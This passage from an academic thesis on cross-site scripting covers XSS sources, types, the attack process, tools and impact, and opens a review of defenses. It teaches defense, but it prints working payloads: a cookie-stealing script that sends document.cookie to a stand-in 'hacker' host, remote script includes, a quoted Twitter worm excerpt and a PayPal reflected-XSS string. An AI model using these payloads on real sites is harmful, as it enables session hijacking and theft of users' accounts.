application attack surface. For instance, Samy Kamkar the author of the first XSS worm
(Samy worm) [29] used AJAX code on his MySpace profile to inject an XSS exploit to
anyone who looked at his profile. This worm “amassed over one million friends” [30] on
MySpace in less than 24 hours.

2.3.5.5 VBScript
Visual Basic Scripting Edition (VBScript) is a language developed by Microsoft in 1996
as a general-purpose "hosted" scripting environment incorporated within Microsoft
Windows, including Windows Scripting Host (WSH), Internet Explorer (IE) and Internet
Information Services (IIS). This language can be used as an alternative to the competing
JavaScript technology to write XSS exploit code. The advantage of this technology from
an attacker’s perspective is that the attack surface and security controls within VBScript
are poorly studied in comparison to JavaScript. However, the disadvantage is that exploit
code written in VBScript can only target IE browsers.

2.3.5.6 Cascading StyleSheets
Cascading Style Sheets (CSSs) provide a powerful and standardized set of tools to
control and modify the visual appearance of any portion of an HTML document [31]. This
includes changing the visual appearance of HTML tables, lists, links and much more
using a simple syntax. Because of this, many applications strive to allow third-parties to
control part of the CSS syntax emitted in documents. This carries the security
implications of attacker controlled CSS containing scripting code, possibly including
malicious XSS exploit code. The technical explanation of the MySpace worm (“Samy
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worm”) [29] points out that the worm author injected malicious JavaScript code inside
CSS tags to deliver his attack.

2.3.5.7 Thick-Client Components
Some Web applications employ ‘thicker’ client technologies to extend the browser’s builtin functionality. These components may be deployed as bytecode that is executed by a
suitable browser plug-in or may involve installing executables onto the client’s computer
itself. The most popular thick client technologies when attacking Web applications are:


Java Applets



Adobe Flash objects



ActiveX controls

Technically, each of the above technologies can lead to XSS injections as illustrated in
the book “XSS Attacks: Cross Site Scripting Exploits and Defense” [5].

2.3.6 Document Formats
Modern browser renderers usually natively support additional media formats, namely,
pure data formats and rich data formats, that may be displayed as standalone
documents. Pure data formats include images and plaintext data and typically carry no
security risks because no malicious content may be embedded in such formats.
However, there are some exceptions that actually exploit some browser quirks when
handling such content to trigger for instance XSS. On the other hand, rich data formats,
such as RSS, SVG and Atom may allow the introduction of XSS attacks because
malicious code could be injected/intermixed with the actual content.

2.4 XSS Sources
After having discussed the fundamental Web technologies the next step is to understand
where an XSS attack string could be injected. As one should have noted from the
previous section the obvious source for deploying an XSS attack string is in the form
field (discussed in Section 2.3.5.3) and possibly in the URI (discussed in Section 2.3.2).
However, this a wrong assumption as all the data coming from the Web browser should
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be considered tainted. This is mainly because the browser could be potentially hijacked
with malware and because the request before reaching the target Web server could
have passed through a malicious channel (such as a compromised proxy).
Unfortunately, most researchers and also some of the most popular XSS scanning tools
(mainly due to their limited nature) recognize only the most obvious sources of XSS
attacks.

If the Web application uses some piece of information from the Web browser
then that information is a potential injection point regardless of whether the value is
supplied manually or automatically by the browser. Analyzing the HTTP protocol, the
HTML features, and the different ways of passing of information to the server (discussed
in Section 2.3.4) we can come up with a table that groups together the different sources
that might carry an XSS attack payload to a Web server. The sources of such data are
summarized in the table below, Table 2-2.
Tainted Source
URI

HTTP Request Body

HTTP Request Headers

Explanation
Any
portion of the URI can be manipulated for XSS.
File names, directory names and parameter name/value
pairs will be all interpreted by the Web server in some
way.
Also, should the Web site display directly the URI or a
part of it directly in a page then that has the potential to
be exploited.
The HTTP request body contains besides other things
data collected from end-users (typically by forms). Since
there is direct user input involved this immediately
qualifies this source as a tainted one.
The above applies to all the fields users are expected to
populate and to less obvious fields that users are not
expected to alter such as hidden fields (input
type=hidden) or input fields with the disable
attribute. Technically, any form field or any HTTP
request body parameter can be easily modified before it
is submitted to the server.
Every Web browser includes certain HTTP headers with
each request. Everything from the Web browser can be
spoofed or modified.
Two of the most common headers used to conduct XSS
attacks are the Cookie and the Referer header.
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Should the Web site parse and display any of the HTTP
client headers then it is potentially vulnerable to XSS
unless proper protection is in place.
Table 2-2 – XSS Main Sources

In this thesis, user input refers to any of the above sources. Before concluding
this section it is worth remarking that as we discussed in the previous sections in reality
there may be more subtle methods such as binary content (including images, movies
and PDF files), and sources such as FTP, file system or database that can be used to
deliver an XSS attack payload. However, the sources highlighted above represent the
vast majority of the cases of how an XSS payload gets installed in an enterprise.

2.5 XSS Types
There is no universally accepted classification of XSS flaws but most experts distinguish
between two primary groups of XSS, namely, non-persistent and persistent [32, 33].
Some sources further divide these flavours into server-side (traditional) flaws and clientside (local/DOM-based) flaws [33]. However, in general we can distinguish between
three distinct types of XSS vulnerabilities [34]. In Section 2.5.4 we also give ideas on
how new types of XSS might arise in the imminent future.

2.5.1 Reflected XSS
Reflected XSS (aka Non-Persistent or Type 1 or First-Order) [32, 34, 35] occurs when a
vulnerable Web application accepts malicious code as part of an HTTP request and
immediately, without doing any sanitization, includes it as part of the HTTP response.
Normally, a Type 1 XSS attack requires tricking a user into visiting a specially
manipulated URL with embedded malicious code using social engineering techniques
(such as phishing, pre-texting, IVR). When a user is tricked into clicking on the malicious
hyperlink, it causes the code embedded in the URL to be executed in the Web browser
and the attack is achieved. An instance of this type of attack was shown in Section 1.1,
where the string “<script>alert(‘document.cookie’);</script>” was injected
in a URL parameter. This type of XSS attack can potentially use any of the XSS sources
we described in Table 2-2, however typically it uses the URL field.
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Three famous real-world examples of first-order XSS vulnerabilities were
discovered in Google.com [36], CBS News [37] and in ATutor [38]. In 2005 Google.com
website had XSS vulnerabilities that allowed attackers to impersonate legitimate
subscribers of Google’s services. Then, in 2006 CBS News published an official
announcement claiming that President Bush appointed a nine-year old boy to be the
chairperson of the InfoSec Department. This was obviously a fake news. Recently, an
XSS vulnerability was discovered in ATutor that allowed scripts to be injected into nearly
every URL request parameter that eventually resulted in the result page to include the
malicious scripts.

2.5.2 Stored XSS
Stored XSS (aka Persistent or Type 2 or Second-Order) [32, 34, 35] occurs when a
vulnerable Web application accepts malicious code, stores it and later distributes it in
response to a separate HTTP request. In contrast to reflected XSS, Type 2 XSS rather
than getting immediately reflected to the user, the attack payload is stored (in a
database or in file system) and displayed to end-users in a Web page later. This kind of
XSS is serious because a malicious user can inject malicious code once and affect a
large number of users. Also, it is even hardly necessary for attackers to trick the users
(as is the case for “Reflected XSS”) into clicking on a link containing malicious code. An
example of this type of attack was described in Section 2.2, where the malicious string
“<script

src=http://ha.ckers.org/xss.js?<B>”

was

entered

and

was

consequently submitted and stored in the database. Fundamentally, as in the case of
“Reflected XSS” this type of attack can be installed in any of the sources described in
Table 2-2.

Three famous real-world examples of second-order XSS vulnerabilities were
discovered in Hotmail [39], MySpace [40] and in Orkut social networking site [41]. In
2001, Hotmail had an XSS vulnerability in its email system that allowed attackers to hack
Microsoft .NET Passports of legitimate users. Then, in 2005 a security flaw (the “Samy
worm”) in MySpace resulted in over one million friend requests being made to its
creator’s profile. A year later in 2006, Orkut had a stored XSS vulnerability that was
exploited by a cookie stealing script that was injected into the profile of attacking
members.
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2.5.3 DOM-Based XSS
DOM-Based XSS (aka Local or Type 0) [34, 35, 42] is a special variant of reflected XSS
where the XSS payload does not need to be reflected by a Web site to attack the user.
Some researchers, including industry professionals, fail to recognize this attack as being
separate although connected to first-order XSS. In fact, the XSS attack payloads for
Type 1 and Type 0 XSS can look very similar, but the fundamental difference is that the
XSS payload for Type 0 XSS does not need to be sent or echoed by the Web site.
Instead of being a vulnerability inside a server-side script this exploit is caused by
improper handling of data supplied by the user in the client-side JavaScript.

A small subset of this type of XSS which is often excluded by industry
professionals are attacks that make use of the fragment portion (the #fragment_id as
per Section 2.3.1) of the URI. This fragment does not get sent to the Web server and
stays within the DOM. For instance, when executing the DOM-Based XSS attack
“http://xssed/page.html#default=<script>alert(‘document.cookie’);
</script>” the Web server only sees the request for page.html. For the scope of this
thesis this particular subcategory of XSS where no payload is sent to the Web server is
beyond the scope of this research.
A real-world example of a local XSS vulnerability was once found in an error
page produced by Bugzilla [43] where JavaScript was used to output directly the current
URL to the Web page. In this case, an attacker who controlled the URL might have been
able to inject an exploit script, depending on the behavior of the browser in use. Another
interesting occurrence of this type of XSS occurred in 2006 where a PDF document [44]
served to the browser when rendered by an Acrobat plug-in ended up executing the URI
fragment as JavaScript.

2.5.4 XSS Evolution
I personally envisage that in the future two more categories of XSS attacks will surface
or let us say become more evident. These are “Distributed XSS” and “Combined XSS”
attacks. Both of these categories together with a new XSS attack vector are explained
below:
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Distributed XSS – This type of attack could occur when an XSS attack payload
is injected in one application but reveals its presence in another Web application.
Consider a Web site, XYZ.com, that collects and stores the Referer HTTP
request field of every Web browser that visits it. XYZ.com stores this string in a
database but never uses it. Then, another Website, ABC.com, fetches this stored
string and displays it without doing any input validation. No validation is done
because ABC.com assumes that the database is a trusted source. This is a
security assumption that fails to define properly the trusted boundary. I have
personally witnessed such an attack where the database schema was being
shared and used by multiple systems and resulted in one system attacking the
other. This again was borne out of wrong security assumptions.



Combining XSS – Combined XSS could arise when an attacker combines or
blends together different categories of XSS attacks. This might for instance
involve combining second-order XSS with local XSS. As an example a hacker
might visit a Web site, then insert his XSS attack payload which gets stored on
the server (most probably in a database or file) and then when the user visits the
site his DOM is manipulated. Related to this, an attacker might sometimes chain
XSS flaws together with other vulnerabilities such as lack of access control to
create a more powerful attack. For instance, let us say that a low-risk vulnerability
exists in a Web application that allows a user to key in any text as a ‘secret
answer’. The vulnerability might be classified as low risk because the ‘secret
answer’ is never displayed to other users. However, if access control is sloppy
and users are allowed to edit the ‘secret answer’ of other users then the effect
could be significant and might possibly lead to complete compromise of the
system.



Besides the above prospective categories of XSS the situation could aggravate
with HTML 5 as it supports new (unsecure) features related to delivering and
storing content. In particular, one very interesting feature is known as “local
storage”. This allows more local storage than that allowed by other options such
as cookies and henceforth it can store more sophisticated XSS exploit code. In
addition the contents of this storage can be automatically appended to every
request by the browser. Local storage can be easily accessed via a client-side

2. Background

39

technology, such as JavaScript, and thus making it an interesting ‘future target’
for XSS attackers. Also, unlike cookies this type of client storage does not
support the use of secure attributes (such as HTTPOnly). The cookie security
model will be described in Section 3.1.2.

2.6 XSS Attack Process
We can broadly classify hackers into two types – script kiddies and ‘real’ hackers. Both
classes have their own manner and motivation for taking advantage out of XSS flaws.
Typically, while script kiddies might search for XSS flaws in a forum or perhaps use a
search engine, such as Google, to find exploits, ‘real’ hackers search for the holes
themselves by looking at input variables which they can utilize to inject their malicious
code.
Typically, the attack process followed by an attacker can be broken down into
five steps as described in the table below, Table 2-3. A reduced version of this process
will be used in Chapter 5, to evaluate the developed prototype.
Step
1

Choose
Web Site

2

Set Goal

3

Discover
XSS Hole

4

Come up
with a Plan

Explanation
The hacker chooses the Web site to hack. Typically, this site
must be written in a server-side language such as JSP, PHP,
ColdFusion, etc.
A goal is then set to provide direction and purpose. A goal could
range from that of stealing someone’s account to that of
defacing the Web site identified in Step 1.
Typically, this step involves checking the HTTP requests being
sent to the Web server and noting if there are variables that can
be manipulated.
For example, if the hacker notes that the URL contains a
variable such as ?page= that is used to navigate through the
pages he might be attempted to inject his script in there. Often,
the script injected at this stage consists of outputting a dummy
string such as ‘XSS Found!’ to the attacker and if the output is
successful then this implies that the application is susceptible to
XSS. Typically, this involves a bit of trial-and-error and usually
tools are used to support the attacker.
XSS attacks are never standard and for every attack the hacker
will have to look at what he wants to achieve and what the
possibilities of exploitation are.
Exploitation of XSS can be intended to trick a victim, such as
presenting false real-world information such as news that looks
as if it had come from a legitimate source. This content can
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even contain fake login forms that when submitted will deliver
the user credentials to a hacker owned Web server instead of
the “real” application server.
After having come up with a plan on what and how to exploit
XSS in the target Web site the actual XSS exploit code is
written.
There are three main tools, as discussed by Jeremiah
Grossman, the founder of WhiteHat Security [45], used by the
attackers to attack Web applications with XSS attacks and these
are shortly described below:


Embedded HTML Tags – In this kind of attack hackers
embed malicious scripting code directly in the HTML
tags. This attack could help attackers bypass client-side
ﬁlters. For example, if there is a Web application which
removes <script> tags from the input and the data
inserted in this tag then an attacker can use tags such
as <a> or <img> to insert malicious JavaScript code.



Scripting Languages and DOM Objects – In this kind of
attack, attackers utilize DOM objects for attack on a Web
application. This attack tool can be used to bypass the
browser’s SOP for the chosen technology such as
JavaScript.



XMLHttpRequest (XHR) – XHR is used to send
asynchronous HTTP requests to the server. The request
processing takes place in the background and the
results of the request are not immediately displayed.
This tool can create devastating XSS attacks. The Samy
worm, Orkut worm, Twitter worm and various others
utilized this functionality to best of its advantage.

Sometimes, techniques such as encoding, code obfuscation,
URI shorteners and various browser quirks are used to hide the
attacker’s payload.
Table 2-3 – XSS Attack Process

Using the above we can describe the attack process that was ‘followed’ by the
creator of StalkDaily.com, Mikeyy Mooney, who was responsible for the creation of
Twitter worm in 2009 [46]. This worm exploited a stored XSS vulnerability causing tens
of thousands of tweets to advertise a Web page belonging to a competitor of Twitter.
Step
1

Choose
Web Site

Explanation
The hacker, Mikeyy Mooney, who happened to be a 17-year old
teen chose Twitter micro-blogging website.
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2

Set Goal

3

Discover
XSS Hole

4

Come up
with a Plan
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The goal was that of posting tweets with a link belonging to an
advertized website (a competitor to Twitter). Mikeyy claimed that
his motivation was that of promoting himself or his Web site
(StalkDaily).
Mikeyy discovered that a malicious script tag can be passed to
the update page via the user[url] argument name, causing the
profile page’s URL string to contain the link to the malicious
script.
Distribute links to the StalkDaily.com Web site across the
Twitter system and without users’ consent change their updates
to show messages such as:
Dude, www.StalkDaily.com is aresome. What’s the fuss?
Join www.StalkDaily.com everyone!
Wooo, www.StalkDaily.com 
Virus!? What? www.StalkDaily.com is legit!

To carry the above create an XSS worm that uses a JavaScript
file located on an attacker’s controlled server to extract the
username of any Twitter user who visited a compromised
Twitter profile page by having the script search through the
user's Twitter cookies.
To
extract
a
hidden
form
field
called
form_authenticity_token, which is required to post any
tweets or update the user profile page.
5

Write the
Code

Full source code of the
https://gist.github.com/93782

worm

is

available

at

Studying the worm code we can note that the payload of the
worm used the XMLHttpRequest Application Programming
Interface (API) to issue an AJAX HTTP POST to
/account/settings on Twitter's servers as demonstrated
below:
// 1
var xss = urlencode('http://www.stalkdaily.com
"></a><script
src="http://mikeyylolz.uuuq.com/x.js"></script><
a ');
//2
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+xs
s+"&tab=home&update=update");
…

The first code segment (// 1) is storing a URL encoded
reference to Twitter’s competitor. This string is being encoded
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using a custom function, urlencode(..), created by the
worm author. Then, the second part (// 2) is posting this
encoded string together with other data to the Web server.
Table 2-4 – Twitter Worm

We also consider a hypothetical attack on PayPal.com that is based on a
discovery in 2010 by Wesley Kerfoot who reported on the Full Disclosure mailing list [47]
that a page in the Paypal.com domain is susceptible to a first-order XSS vulnerability.
The attack demonstrates that even though a Web site is deemed complaint with
Payment Card Industry (PCI) standards and that SSL was used on the Web site it is still
potentially vulnerable to XSS attacks. The hypothetical (semi-real) attack process is
detailed in Table 2-5.

Step
1
2

3

Choose
Web Site
Set Goal

Discover
XSS Hole

Explanation
Choose Paypal.com Web site.
Trick a user with a valid Paypal session into clicking a crafted
hyperlink to hijack his session and perhaps initiate financial
transactions on his behalf.
Wesley Kerfoot noted that a page in the Paypal.com domain is
affected by an XSS vulnerability. After running the attack string
below:
https://www.paypal.com/xclick/business=<script>
alert("xss");</script>

The Web site pops up the expected message as can be seen
below:
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Email the user a link that redirects his browser to an owned
Web site (controlled by the hacker) forwarding the victim’s
cookies.
As an example the snippet below creates a dummy image
object and assigns it to an off-domain URL with the Web
browser cookie string where the data is sent.
"><SCRIPT>var+img=new+Image();img.src="http://ha
cker/"%20+%20document.cookie;
</SCRIPT>

Obviously, there are various other ways of writing such an XSS
attack payload.
Table 2-5 – Hypothetical PayPal Attack

2.6.1 XSS Tools
The main idea of Web application hacking is modifying the intended request being sent
to the Web server and observing the outcome. As discussed in Table 2-3, when
explaining the third phase of the attack process, tools are usually used to manipulate the
parameters being sent to the application. These tools are known as fuzzing tools.
Essentially, fuzzing is the process of sending random as well as maliciously structured
data to an application in an attempt to identify potential security holes [48].

Done manually fuzzing is a very tedious and time-consuming process and so
along the years, various tools have been created to assist in Web application security
assessment/hacking [49]. Some of the most important tools are summarized in the table
below, Table 2-6. In this thesis we have used WebScarab tool to evaluate the prototype.
This tool allowed us to manipulate the HTTP request/response header and to install
various XSS attacks in there.
Tool
MITM Proxy

Description
Example
A Man-In-The-Middle (MITM) proxy tool BURP
sits in front of the Web browser and it
provides the facility to intercept (trap)
the request and to modify the request
before sending it to the server. Also,
they offer the facility to modify the
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response being sent back from the
server to the browser.

Vulnerability Scanners

Spiders/Crawlers

Automated Fuzzers

Multi-Function Tools

Vulnerability scanners look for common Nessus
or known vulnerabilities and possible
issues. These tools conduct tests which
would normally be conducted during a
standard network assessment.
Spiders/Crawlers are tools created to Nutch
automatically obtain browseable content
from Web sites.
In Chapter 6, we suggest a
spider/crawler library that supports
dynamic input parameter extraction
from any Web site.
Automated fuzzers
augment the WSFuzzer
function of MITM proxies by providing
the ability to parse the request and
response information and not only store
the parsed data but also leverage the
GUI to present the information in a way
that is easy to interpret.
Multi-Function tools basically combine WebScarab
all the tools listed above and also add
the facility to store the parameters being
sent to the Web server and noting all
the information being sent back-andforth to the server. The latter
information could then be fed in the
automated fuzzing tool and default
scanning tool later.
In Chapter 5, WebScarab tool is used
for prototype evaluation.
Table 2-6 – XSS Exploit Tools

2.7 XSS Impact
There are several objectives in a security program, but the key principles in all
information security programs are confidentiality, integrity, and availability. Together,
these three pillars of information security are referred to as the CIA (aka AIC) triad. All
information security controls are implemented to provide one or more of these principles.
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Also, any risk, vulnerability or threat is measured for its potential capability to
compromise one or all of the CIA principles. XSS can potentially have an impact on each
of these fundamental principles of information security and carries both technical and
business impacts.

The table below, Table 2-7, summarizes some of the most important threats/risks
associated with XSS attacks. The reason for including this table is simply to make the
reader aware of how powerful XSS attacks could be. From the table below, we can note
that XSS attacks can adversely affect all the pillars of information security.
Threat
Confidentiality

Integrity

Availability

Risks
 Disclosure of arbitrary data (such as forms and
clipboard data)
 Disclosure of keystrokes typed in a Web
application
 File Content Stealing & Disclosure
 Port Scanning
 Stealing Browsing History
 File Content Manipulation (inc. defacing of Web
site)
 Server/Device Reconfiguration
 Malware Distribution
 Denial of Service (DoS)
Table 2-7 – XSS Threat Summary

2.8 Summary
This chapter reviewed the necessary background information for this thesis. We began
this chapter by proposing a formal definition of XSS and progressively we expanded
upon this definition giving a more detailed profile of XSS. This profile described the
causes, threat agents, attack vectors, and other characteristics of cross-site scripting
attacks.
We also walked through core standards such as the HTTP protocol, URIs and
cookies, and the fundamental Web application components and technologies such as
HTML, JavaScript, VBScript, and more. The discussion then proceeded by analyzing
each described standard and technology with the intention of understanding where and
how XSS could arise. The results were summarized in a table and reported descriptively.
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In the last part of this chapter a detailed breakdown of the various types of XSS
attacks was given. We identified three classes of XSS attacks, including new types of
XSS, namely, “Distributed XSS”, “Combined XSS”, and potentially new XSS attack
vectors arising with the push towards HTML 5. An overview of the tools, strategies, and
processes used by real-world attackers was also given and explained with both real and
hypothetical ‘semi-real’ examples. Finally, this chapter was concluded by an overview
describing the impact of XSS threats to confidentially, integrity and availability.

Chapter 3
Existing Solutions
Over the years the information security community has not only unveiled new attack
vectors but also contributed methods of defense against these potential threats. This
chapter examines and criticizes some of the most influential XSS protection measures,
including the emerging defense trends.

We begin this chapter by giving a quick introduction explaining the fundamental
Web browser security models. Following that an overview of XSS protection measures
detailing the design criteria and techniques employed in different protection schemes is
given.

After the inside of XSS protection measures is analyzed the chapter goes on to
explain various academic and real-world products found under the category of server,
client and hybrid protection schemes. Techniques employed by attackers to bypass XSS
filters are also discussed.

3.1 Introduction
XSS has existed since Netscape engineers introduced the JavaScript language in the
nineties [50]. In fact, Netscape were aware to some extents of the security risks
associated with allowing a Web server to send executable code to a Web browser. For
this reason, the concept of the Same Origin Policy (SOP) was introduced [51]. This defacto policy, dating back to Netscape Navigator 2.0, was not standardized until Ian
Hixie’s HTML 5 Origin specifications for the W3C and Adam Barth’s Draft for the IETF for
the

CORS

Origin

HTTP

header

proposal

were

defined.
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Since the implementation of the SOP other access control policies have been
integrated within Web browsers and client-side scripting languages to protect Web users
from malicious attacks. One interesting collection of safeguards is collectively known as
the JavaScript sandbox (dating back to 1995). This mechanism is a restricted area within
which the JavaScript code can execute. In this way, JavaScript runs in its own sandbox
and by design it does not have access to anything outside the sandbox. Interestingly, as
we will briefly discuss in Section 3.3.4, interest in sandboxing has rekindled amongst
security researchers in hope of defending against XSS attacks.
The SOP has been a “fundamental security boundary within Web browsers” [52]
and in generally it rules all browser security controls. In reality, the concept of SOP
applies to various technologies including DOM access, XMLHttpRequest, cookies, Flash,
Java, Silverlight, Gears and others. However, frequent flaws in Web browser, in Web
browser plug-ins such as Acrobat Reader and Flash Player, and attacks such as DNS
rebinding have partially subverted the SOP allowing attackers to execute active code on
victim’s machines originating from a particular domain.

In next two sections we will detail and criticize two Web browser security models,
namely, the SOP and Cookie Security Model. XSS holes are one particular class of
vulnerabilities that allow attackers to bypass these built-in security mechanisms.

3.1.1 SOP
The SOP (also known as same domain policy) is the main security control in Web
browsers. An origin is a representation of the security context of a resource which is
allowed to interact with other resources in the same security context. In general, the
resource’s security context is defined by the scheme/host/port triplet. One can think of an
origin as the entity that created some Web page or a piece of information being
accessed by a browser.

The SOP simply requires that dynamic content (such as JavaScript or VBScript)
can read only HTTP responses and cookies that came from the same origin it came
from. Dynamic content may not read content from a different origin than from where it
came. Interestingly, the SOP does not have any write access control. As such, Web sites
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can send (or write) HTTP requests to any other Web site, although restrictions may be
placed on the cookies and headers associated with sending such requests to prevent
XSS.

The SOP may best be explained through an example. Suppose we have a Web
page at http://joe.com/blog/social.html with JavaScript embedded in it. Table 3-1 outlines
what URLs the JavaScript from this Web page can access. In this table we assume that
the origin, O, is represented by a triple consisting of O (host, scheme, port).
Target URL
http://joe.com/index.html

Accessibility
YES

http://joe.com:80/blog/social.html

YES

https://joe.com/blog/social.html

NO

http://www.joe.com/blog/social.ht
ml

NO

Explanation
OR(joe.com, http, 80) =
OT (joe.com, http, 80)
OR(joe.com, http, 80) =
OT (joe.com, http, 80)
OR(joe.com, http, 80) ≠
OT (joe.com, https, 80)
OR(joe.com, http, 80) ≠
OT (www.joe.com, http, 80)

Table 3-1 – SOP Workings

However, there are exceptions and extensions to the SOP. For example,
browsers can be instructed to allow pages to send HTTP requests to a chosen domain
and read the contents. Two popular ways of doing this is through the HTML 5
window.postMessage method [53] and via the document.domain DOM property
[54]. The former method, window.postMessage, allows windows or iframe elements
to exchange messages between different origins bypassing the traditional browser’s
SOP. The latter property, document.domain, contains the domain of the current page.
However, this read/write property can be set to any parent domain, for instance the
domain www.test.com can be set to test.com. This property is explained below through
an example.

For example, let us say we have a page http://www.joe.com/blog/social.html that
has the following code,
<script>
document.domain = “joe.com”;
</script>
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then for instance http://xyz.joe.com/anywhere.html can send an HTTP request to
http://www.joe.com/blog/social.html and read its contents. For instance, the following
code

snippet,

demonstrates

http://xyz.joe.com/anywhere.html

a

code
that

injection
will

attack

installed

eventually

in
XSS

http://www.joe.com/blog/social.html.
<iframe src=”http://www.joe.com/blog/social.html”
onload = “frames[0].document.body.innerHTML+=’<img src=x onerror
= alert(1)’”>
</iframe>

There is also another case where Web sites may opt to share information with
each other and this is via the script tag. In HTML, this tag is used to run code in the
context of the element’s parent document. Furthermore, this code can be fetched crossdomain. For example, suppose that http://website-A/page.html contains the following
code:
<script src=http://website-B/script.js></script>

The preceding code when parsed will instruct the Web browser to make an HTTP
request to Site B and to receive the contents of script.js. This JavaScript code is then
parsed and executed with the security context of Site A. Thereby this technique allows
Site A (active-origin) to permit Site B (passive-origin) to share its security context. The
same applies for remote style sheets include via the CSS @import function or the LINK
tag of HTML. This duality of origins which is known as mixed-origin has resulted in
various security problems including XSS attacks.
Unfortunately, with “Web 2.0” and with HTML 5 the SOP has continued to be
extended in order to allow Websites to share or exchange information with other Web
sites from the client side, either to get third-party public content (such as blogs) or simply
to share information (such as tweets). Three of the most recent mechanisms allowing
such information sharing are Cross-Origin Resource Sharing (CORS), JavaScript Object
Notation with Padding (JSONP) and Uniform Messaging Policy (UMP). All these
technologies allow for scaling of Web applications. However, they have also opened the
door for potentially newer and more powerful XSS attacks.
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3.1.2 Cookie Security Model
Due to their potentially sensitive nature RFC 2109 [55] defined security guidelines for
cookies similar to those of the SOP. The cookie security controls include the following
attributes:
Attribute
Domain

Path

Secure

Expires

HTTPOnly

Explanation
This attribute specifies the domain for which the cookie is valid. Like
the SOP, this attribute defaults to the domain present in the HTTP
Request Host header but here the domain can also be set to be the
domain parent.
This attribute improves upon the SOP model by allowing the
specification of the URL path for which cookies are valid. When this
attribute is set cookies are only sent to the server whose path is
identical to the path attribute.
If a cookie has this attribute set, the cookie is in theory sent only in
HTTPS requests. The reality is however that secure cookies sent
over HTTPS can still be altered through HTTP requests/responses.
This attribute is used to set a date until which the cookie is valid. After
that time period passes the cookies usually get deleted by the
browser.
If this attribute is set, Internet Explorer and other contemporary Web
browsers will disallow the cookie to be read or written via JavaScript’s
document.cookie or via its VBScript equivalent. This is intended
to prevent an attacker from stealing cookies. It is worth mentioning
the fact that HTTPOnly cookies are still in RFC draft and emphasizing
also the point that not all Web browsers support them.
Table 3-2– Cookie Security Controls

The cookie security model is intended to be more secure than the SOP, but with
some scriptlets and other hacks [56], the cookie domain attribute can get reduced to the
security of the SOP’s document.domain property. Also, the cookie path attribute can
be completely circumvented. A cookie tampering attack such as cookie poisoning can for
instance be used to modify such properties.

Ideally, the security features of the cookie security model should be used
however one should not rely solely on them as a primary defense mechanism. For
instance, the HTTPOnly property is a technique that can be used to mitigate the risk of
XSS attacks, however relying solely on this attribute is not suggested. One of the
reasons for this is that session hijacking is still possible for HTTPOnly cookies through
for instance Cross-site tracing (XST) attacks.
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3.2 XSS Protection Overview
According to Dieter Gollman [57] protection safeguards are usually classified into three
categories, prevention, detection and reaction. Prevention is concerned with taking
measures to prevent assets from being damaged, detection is about noting when an
asset has been damaged and ideally how and who caused the damage and finally
reaction is about taking measures that allow one to recover the assets or to recover the
damage to the assets. A comprehensive solution to XSS should incorporate the three
elements however the reality is that most Web applications are being coded without
making use of defensive programming principles and thereby ignoring or improperly
coding the first layer of defense which is that of prevention.
In general, when one speaks about protection measures one also tends to point
out the target audience/stakeholders that are to benefit from such implemented controls.
In reality, we have end-users, Web browser vendors, security professionals and Web
application developers as active participants in an XSS protection scheme. The best
solution would apply seamlessly and provide immediate protection to each stakeholder.
However, the reality is that there exist separate procedures to protect each of the
different categories of users. In this thesis, the scope is to help the Web application
developers to protect the enterprise Web resources against XSS attacks. As a sideeffect, such protection will be of immediate benefit to end-users accessing the enterprise
Web applications.

Irrespective of the target stakeholder, any XSS defense strategy consists of both
detection and reaction phases. The detection phase is used to decide whether a chosen
vulnerability exists in a target system and the reaction phase is triggered after the
detection phase to decide the action to follow after the vulnerability is found. The
literature enlists a plethora of different anti-XSS tools. However, before we start
investigating and comparing the existing solutions we should first understand the
technical make-up of the different systems. This can be done by answering the
questions posed below:

1. How to detect if an input vector contains XSS (detection)?
2. During which software phase shall we scan the input (time)?
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3. Where shall we deploy the protection mechanism (location)?
4. What do we do after the input has been classified as malicious (reaction)?

Walking through each of the above questions we can start building up a working
dimension that will allow us to appreciate and classify the existing work and the related
jargon. In a later chapter, Chapter 4, we will use this dimension to classify and compare
our proposed solution to the existing work.

3.2.1 Detection
To decide whether an input vector is malicious or not XSS filters employ different
detection strategies. Conceptually, each strategy is structured into two components, the
analysis method and the detection technique. The detection technique decides whether
an input string is malicious or not and the analysis method is the actual component that
drives the whole detection phase. The analysis method uses the detection technique to
come up with conclusions when scanning an application or an input vector for XSS
vulnerabilities. The accuracy of detection varies according to the algorithms and
methods used by the analysis method. The figure below, Figure 3-1, illustrates the
different subcomponents of the detection phase. Each referenced technique and method
is briefly explained in the following two sections.

Detection Phase
Static analysis
Dynamic analysis
Secure coding
Black-box testing
White-box testing

Analysis Method

uses

Input signature-based
Output signature-based
Grammar-based
Information-flow
Anomaly-based

Detection Technique

Figure 3-1 – Detection Phase
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3.2.1.1 Detection Technique
There is no single or standardized category of XSS detection techniques. For this
reason, we had to compare the available studies and surveys [58-61] on code injections
with that of another related field, malware detection, which in contrast to the former it
clearly identifies many valid detection techniques [62, 63]. The list of techniques was
further refined and expanded after studying papers and reports associated with each
evaluated XSS mitigation system. The researched systems are discussed in Section 3.3.
In total five categories of detection techniques were identified, and in reality these
techniques are often combined to maximize their effectiveness. The identified techniques
are input/output signature-based detection, grammar(specification)-based violation,
information-flow techniques and anomaly-based detection techniques. A comparison
and summary of the different techniques is given in the following paragraphs.

Input signature-based detection works by scanning the user input against a
blacklist. If words contained in the input match those found in the list then the input is
considered malicious. On the other hand, output signature-based detection works in
principle the same as input signature-based detection, but instead of scanning the input
the execution output is analyzed to detect if it is malicious or not. The advantage of
signature-based techniques is that they can be relatively simple to implement especially
when compared to the other approaches. Their main disadvantage is that their detection
accuracy depends on the completeness of the signatures. This type of technique is often
used by firewalls, antivirus software and is synonymous to misuse-based IDS.

Information-flow techniques analyze the user input and detect whether the
submitted information contains suspicious information. This technique can generate false
positives (i.e. detect vulnerabilities that actually are not present in the scanned
application) when the malicious sources are not identified properly. Typically, this
approach is combined with input signature-based detection to improve on the detection
accuracy. The main advantage of this technique is that it can detect previously unknown
vulnerabilities [64]. This type of technique, as we will discuss in Section 3.3.1.2, is often
used in Security Assessment Strategies.
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The idea of grammar(specification)-based violation techniques is that of scanning
the user input against a whitelist (grammar), which is usually represented with a parse
tree or with a Finite State Machine (FSM). If the two representations (user input and the
list of accepted/approved sources for that input) do not match then there is a violation
and the input is considered malicious. The advantage of this technique is that it is more
accurate than signature detection techniques because it assumes that the list of possible
valid inputs are known in advance. However, the disadvantage is the underlying
requirement of having each entry point defined a priori. This type of technique is typically
used during software development for input validation.

Finally, anomaly-based detection is an approach that compares the application
runtime behaviour to a model (the baseline) constructed during the application training
phase. Together with the information-flow techniques the main advantage of this
